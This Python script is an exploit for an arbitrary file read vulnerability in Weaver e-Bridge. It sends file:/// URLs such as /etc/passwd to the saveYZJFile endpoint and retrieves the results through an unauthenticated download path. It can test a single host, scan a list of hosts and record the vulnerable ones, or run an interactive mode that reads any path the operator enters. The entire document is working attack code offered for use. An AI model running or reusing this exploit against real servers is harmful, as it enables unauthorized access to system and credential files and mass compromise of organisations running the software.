#-*- coding:utf-8 -*-
import requests
import re
import sys
import os
import warnings
import json
import time
warnings.filterwarnings("ignore")


def title():
    print('+----------------------------------------------')
    print('+     \033[34mVersion:  泛微 e-Bridge 任意文件读取  \033[0m')
    print('+     \033[36m使用格式:	python3 poc.py -u url    \033[0m')
    print('+     \033[36m  	python3 poc.py -f file           \033[0m')
    print('+     \033[36m  	python3 poc.py -e url            \033[0m')
    print('+     \033[36m  	url without http:// or https://  \033[0m')
    print('+     \033[31m				Python By Stanke \033[0m')
    print('+-----------------------------------------------')

def result_write(msg):
	file_path = os.getcwd() + '/result.txt'
	file = open(file_path, 'a')
	file.write(msg)
	file.write('\n')
	file.close()		

def wrong_write(msg):
	file_path = os.getcwd() + '/requests_error.txt'
	file = open(file_path, 'a')
	file.write(msg)
	file.write('\n')
	file.close()


def linux_verify(url):
	headers = {
		"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
		"Content-Type": "application/x-www-form-urlencoded",
		'Connection': 'close'
	}
	linux_url = "http://" + url + "/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/passwd&fileExt=txt"
	try:
		linux_res = requests.get(url = linux_url,headers = headers,verify = False,timeout = 5)
		if linux_res.status_code == 200:
			linux_result = json.loads(linux_res.text)
			if "id" in linux_result:
				result_write(linux_url)
				return "http://"
			else:
				return False
		else:
			return False
	except Exception as e:
		https_linux_url = "https://" + url + "/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/passwd&fileExt=txt"
		try:
			https_linux_res = requests.get(url = https_linux_url,headers = headers,verify = False,timeout = 5)
			if https_linux_res.status_code == 200:
				https_linux_result = json.loads(https_linux_res.text)
				if "id" in https_linux_result:
					result_write(https_linux_url)
					return "https://"
				else:
					return False
			else:
				return False
		except Exception as e:
			return "Error"


def win_verify(url):
	headers = {
		"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
		"Content-Type": "application/x-www-form-urlencoded",
		'Connection': 'close'
	}
	win_url = "http://" + url + "/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///C:/Windows&fileExt=txt"
	try:
		win_res = requests.get(url = win_url,headers = headers,verify = False,timeout = 5)
		if win_res.status_code == 200:
			win_result = json.loads(win_res.text)
			if "id" in win_result:
				result_write(win_url)
				return "http://"
			else:
				return False
		else:
			return False
	except Exception as e:
		https_win_url = "https://" + url + "/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///C:/Windows&fileExt=txt"
		try:
			https_win_res = requests.get(url = https_win_url,headers = headers,verify = False,timeout = 5)
			if https_win_res.status_code == 200:
				https_win_result = json.loads(https_win_res.text)
				if "id" in https_win_result:
					result_write(https_win_url)
					return "https://"
				else:
					return False
			else:
				return False
		except Exception as e:
			return "Error"

def verify(url):
	win = win_verify(url)
	linux = linux_verify(url)
	if win == "http://" or win == "https://" or linux == "http://" or linux == "https://":
		print("\033[32m[+] %s 		存在任意文件读取漏洞\033[0m" % format(url,"<30"))
	elif win == False and linux == False:
		print("\033[31m[+] %s 		不存在任意文件读取漏洞\033[0m" % format(url,"<30"))
	elif win == "Error" or linux == "Error":
		print("\033[33m[x] %s 		requests error\033[0m" % format(url,"<30"))
		wrong_write(url)




def get_id(url,file_dir):
	headers = {
		"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
		"Content-Type": "application/x-www-form-urlencoded",
		'Connection': 'close'
	}
	win = win_verify(url)
	linux = linux_verify(url)
	if win == "http://":
		try:
			get_url = "http://" + url + "/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///%s/&fileExt=txt" % file_dir
			response = requests.get(url = get_url,headers = headers,verify = False,timeout = 5)
			result = json.loads(response.text)
			return result['id']
		except Exception as e:
			print("\033[31m[+] 路径输入有误 \033[0m")
	elif win == "https://":
		try:
			get_url = "https://" + url + "/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///%s/&fileExt=txt" % file_dir
			response = requests.get(url = get_url,headers = headers,verify = False,timeout = 5)
			result = json.loads(response.text)
			return result['id']
		except Exception as e:
			print("\033[31m[+] 路径输入有误 \033[0m")
	elif linux == "http://":
		try:
			get_url = "http://" + url + "/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file://%s/&fileExt=txt" % file_dir
			response = requests.get(url = get_url,headers = headers,verify = False,timeout = 5)
			result = json.loads(response.text)
			return result['id']
		except Exception as e:
			print("\033[31m[+] 路径输入有误 \033[0m")
	elif linux == "https://":
		try:
			get_url = "https://" + url + "/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///%s/&fileExt=txt" % file_dir
			response = requests.get(url = get_url,headers = headers,verify = False,timeout = 5)
			result = json.loads(response.text)
			return result['id']
		except Exception as e:
			print("\033[31m[+] 路径输入有误 \033[0m")
	else:
		print("\033[31m[+] 路径输入有误 \033[0m")


def cat_file(url):
	headers = {
		"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
		"Content-Type": "application/x-www-form-urlencoded",
		'Connection': 'close'
	}
	win = win_verify(url)
	linux = linux_verify(url)
	if win == "http://" or win == "https://" or linux == "http://" or linux == "https://":
		if win == "http://":
			while True:
				file_dir = input("\033[36m[+] Input Win File Dir: \033[0m")
				if file_dir == "q" or file_dir == "Q":
					break
				else:
					use_id = get_id(url,file_dir)
					try:
						file_url = "http://" + url + "/file/fileNoLogin/%s" % use_id
						response = requests.get(url = file_url,headers = headers,verify = False,timeout = 5)
						if response.text != "":
							print(response.text)
						else:
							continue
					except Exception as e:
						continue
		elif win == "https://":
			while True:
				file_dir = input("\033[36m[+] Input Win File Dir: \033[0m")
				if file_dir == "q" or file_dir == "Q":
					break
				else:
					use_id = get_id(url,file_dir)
					try:
						file_url = "https://" + url + "/file/fileNoLogin/%s" % use_id
						response = requests.get(url = file_url,headers = headers,verify = False,timeout = 5)
						if response.text != "":
							print(response.text)
						else:
							continue
					except Exception as e:
						continue
		elif linux == "http://":
			while True:
				file_dir = input("\033[36m[+] Input Linux File Dir: \033[0m")
				if file_dir == "q" or file_dir == "Q":
					break
				else:
					use_id = get_id(url,file_dir)
					try:
						file_url = "http://" + url + "/file/fileNoLogin/%s" % use_id
						response = requests.get(url = file_url,headers = headers,verify = False,timeout = 5)
						if response.text != "":
							print(response.text)
						else:
							continue
					except Exception as e:
						continue
		if linux == "https://":
			while True:
				file_dir = input("\033[36m[+] Input Linux File Dir: \033[0m")
				if file_dir == "q" or file_dir == "Q":
					break
				else:
					use_id = get_id(url,file_dir)
					try:
						file_url = "https://" + url + "/file/fileNoLogin/%s" % use_id
						response = requests.get(url = file_url,headers = headers,verify = False,timeout = 5)
						if response.text != "":
							print(response.text)
						else:
							continue
					except Exception as e:
						continue
	elif win == False and linux == False:
		print("\033[31m[+] %s 		不存在任意文件读取漏洞\033[0m" % format(url,"<30"))
	elif win == "Error" or linux == "Error":
		print("\033[33m[x] %s 		requests error\033[0m" % format(url,"<30"))
		wrong_write(url)



def read_file(file_name):
	with open(file_name, 'r') as f:
		lines = f.readlines()
		for line in lines:
			line = line.strip()
			verify(line)


if __name__ == '__main__':
	title()
	if len(sys.argv) == 3:
		if sys.argv[1] == "-u":
			verify(sys.argv[2])
		elif sys.argv[1] == "-f":
			read_file(sys.argv[2])
		elif sys.argv[1] == "-e":
			cat_file(sys.argv[2])
		else:
			print('     \033[31m           未输入正确格式参数    \033[0m')
	else:
		 print('     \033[31m           参数格式错误            \033[0m')



